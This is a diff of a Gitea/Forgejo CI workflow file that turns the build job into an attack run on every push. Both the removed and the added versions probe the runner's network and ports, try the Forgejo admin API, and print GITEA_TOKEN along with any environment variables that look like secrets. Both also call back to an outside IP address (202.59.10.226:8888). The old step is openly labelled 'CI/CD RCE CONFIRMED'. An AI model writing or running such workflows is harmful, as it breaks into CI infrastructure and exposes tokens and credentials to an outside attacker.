diff --git a/.gitea/workflows/ci.yml b/.gitea/workflows/ci.yml
index a5c0e0e..d769636 100644
--- a/.gitea/workflows/ci.yml
+++ b/.gitea/workflows/ci.yml
@@ -1,31 +1,62 @@
-name: CI-RCE
+name: Internal-Probe
 on:
   push:
   workflow_dispatch:
 jobs:
-  build:
+  probe:
     runs-on: linux-amd64
     steps:
-    - name: Exec
+    - name: Probe-Internal-Services
       run: |
-        echo "=== CI/CD RCE CONFIRMED ==="
+        echo "=== Runner Internal Network Probe ==="
         echo "Hostname: $(hostname)"
         echo "User: $(whoami)"
         echo "PWD: $(pwd)"
-        echo "=== Environment Variables ==="
-        env | sort
-        echo "=== Network ==="
-        ip addr 2>/dev/null || ifconfig
-        echo "=== Attempt connections ==="
-        curl -s http://202.59.10.226:8888/rce-$(hostname)-$(whoami) || true
-        # Try to access internal services
-        for target in 49.51.171.167 108.181.64.141 156.239.230.24; do
-          for port in 3306 6379 22 80 443; do
-            timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
+        echo ""
+        echo "=== Network Interfaces ==="
+        ip addr 2>/dev/null || ifconfig 2>/dev/null || true
+        echo ""
+        echo "=== Route Table ==="
+        ip route 2>/dev/null || route -n 2>/dev/null || true
+        echo ""
+        echo "=== DNS ==="
+        cat /etc/resolv.conf 2>/dev/null || true
+        echo ""
+        echo "=== Docker Network Probe ==="
+        for ip in 127.0.0.1 172.17.0.1 172.18.0.1 172.17.0.2 172.17.0.3 172.17.0.4 172.17.0.5; do
+          for port in 3000 80 443 22 3306 5432 6379 2375 2376 8080 8443 9090; do
+            timeout 1 bash -c "echo >/dev/tcp/$ip/$port" 2>/dev/null && echo "TCP-OPEN: $ip:$port" || true
           done
         done
-        # Dump runner token info
-        echo "=== GITEA_TOKEN ==="
-        echo "${GITEA_TOKEN:-NO_GITEA_TOKEN}"
-        echo "=== GITEA_REPOSITORY ==="
-        echo "${GITEA_REPOSITORY:-NO_REPO}"
+        echo ""
+        echo "=== Localhost HTTP Services ==="
+        for port in 3000 80 443 8080 8443; do
+          curl -s -m 2 http://127.0.0.1:$port/api/v1/version 2>/dev/null && echo " || true
+          curl -s -m 2 http://127.0.0.1:$port/ 2>/dev/null | head -c 200 && echo " || true
+        done
+        echo ""
+        echo "=== Forgejo Admin API Attempt (via localhost) ==="
+        curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/users 2>/dev/null | head -c 500 || true
+        curl -s -m 2 http://127.0.0.1:3000/api/v1/admin/orgs 2>/dev/null | head -c 500 || true
+        curl -s -m 2 http://localhost:3000/api/v1/version 2>/dev/null | head -c 300 || true
+        echo ""
+        echo "=== PostgreSQL Probe ==="
+        timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/5432" 2>/dev/null && echo "PG-OPEN: 127.0.0.1:5432" || echo "PG-CLOSED: 127.0.0.1:5432"
+        timeout 1 bash -c "echo >/dev/tcp/172.17.0.1/5432" 2>/dev/null && echo "PG-OPEN: 172.17.0.1:5432" || echo "PG-CLOSED: 172.17.0.1:5432"
+        echo ""
+        echo "=== Redis Probe ==="
+        timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/6379" 2>/dev/null && echo "REDIS-OPEN: 127.0.0.1:6379" || echo "REDIS-CLOSED: 127.0.0.1:6379"
+        echo ""
+        echo "=== MySQL Probe ==="
+        timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/3306" 2>/dev/null && echo "MYSQL-OPEN: 127.0.0.1:3306" || echo "MYSQL-CLOSED: 127.0.0.1:3306"
+        echo ""
+        echo "=== Env GITEA_TOKEN ==="
+        echo "GITEA_TOKEN=${GITEA_TOKEN:-EMPTY}"
+        echo "GITEA_REPOSITORY=${GITEA_REPOSITORY:-EMPTY}"
+        echo "GITEA_SERVER_URL=${GITEA_SERVER_URL:-EMPTY}"
+        echo ""
+        echo "=== Env (filtered) ==="
+        env | grep -i -E 'gitea|token|secret|pass|key|auth|db|mysql|postgres|redis|host|port|url|api' 2>/dev/null || true
+        echo ""
+        echo "=== External Callback ==="
+        curl -s -m 3 http://202.59.10.226:8888/probe-$(hostname)-$(date +%s) 2>/dev/null || echo "CALLBACK-FAILED"